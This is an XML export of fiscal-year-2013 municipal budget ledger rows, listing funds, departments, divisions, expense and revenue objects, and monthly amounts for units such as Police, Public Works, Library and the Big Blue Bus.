<row _id="1604"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="1605"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-113000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-113000.0</total></row>
<row _id="1606"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
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<row _id="1608"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>63927.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63927.0</total></row>
<row _id="1609"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4908.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>49</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4957.0</total></row>
<row _id="1610"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>55087.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55087.0</total></row>
<row _id="1611"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10817.0</july><august>0</august><september>0.0</september><october>137.0</october><november>-137</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10817.0</total></row>
<row _id="1612"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3824.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>38</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3862.0</total></row>
<row _id="1613"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2985.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2985.0</total></row>
<row _id="1614"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1688.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>17</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1705.0</total></row>
<row _id="1615"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19043.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19043.0</total></row>
<row _id="1616"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>93780.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>93780.0</total></row>
<row _id="1617"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>208747.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>208747.0</total></row>
<row _id="1618"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>220158.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3066</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>223224.0</total></row>
<row _id="1619"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6426.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>224</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6650.0</total></row>
<row _id="1620"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>835.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>835.0</total></row>
<row _id="1621"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>576.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>576.0</total></row>
<row _id="1622"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5495.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>55</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5550.0</total></row>
<row _id="1623"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>360.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="1624"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10868.0</july><august>0</august><september>0.0</september><october>199.0</october><november>0</november><december>0</december><january>0.0</january><february>111</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11178.0</total></row>
<row _id="1625"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2175.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2175.0</total></row>
<row _id="1626"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>33350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>334</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33684.0</total></row>
<row _id="1627"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2509.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2509.0</total></row>
<row _id="1628"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2509.0</july><august>0</august><september>0.0</september><october>380.0</october><november>0</november><december>0</december><january>0.0</january><february>221</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3110.0</total></row>
<row _id="1629"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D[</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2151.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2151.0</total></row>
<row _id="1630"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>622.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>622.0</total></row>
<row _id="1631"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6695.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-48</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6647.0</total></row>
<row _id="1632"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>726.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="1633"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20777.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>308</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21085.0</total></row>
<row _id="1634"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401003.0</object><object_description>SWIM CENTER-SWIM PASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-227623.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-227623.0</total></row>
<row _id="1635"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>403370.0</object><object_description>MISCELLANEOUS LIBRARY GRANTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>344.0</march><april>0</april><may>0</may><june>0.0</june><total>344.0</total></row>
<row _id="1636"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>403370.0</object><object_description>MISCELLANEOUS LIBRARY GRANTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-2830.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2830.0</total></row>
<row _id="1637"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-POLICE OSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1337277.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1337277.0</total></row>
<row _id="1638"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>453125.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4531</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>457656.0</total></row>
<row _id="1639"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1452.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1452.0</total></row>
<row _id="1640"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4187.0</july><august>0</august><september>0.0</september><october>-1000.0</october><november>0</november><december>0</december><january>0.0</january><february>32</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3219.0</total></row>
<row _id="1641"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>530.0</total></row>
<row _id="1642"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>411.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>411.0</total></row>
<row _id="1643"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>997.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>997.0</total></row>
<row _id="1644"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1955.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1955.0</total></row>
<row _id="1645"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>527.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>527.0</total></row>
<row _id="1646"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3489.0</july><august>0</august><september>0.0</september><october>-1000.0</october><november>0</november><december>0</december><january>0.0</january><february>25</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2514.0</total></row>
<row _id="1647"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1145.0</july><august>0</august><september>0.0</september><october>-320.0</october><november>0</november><december>0</december><january>0.0</january><february>8</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>833.0</total></row>
<row _id="1648"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1649"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577703.0</object><object_description>PROP A REIMBURSEMENT-ADMIN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="1650"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>186130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>186130.0</total></row>
<row _id="1651"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>227785.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>11672</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>239457.0</total></row>
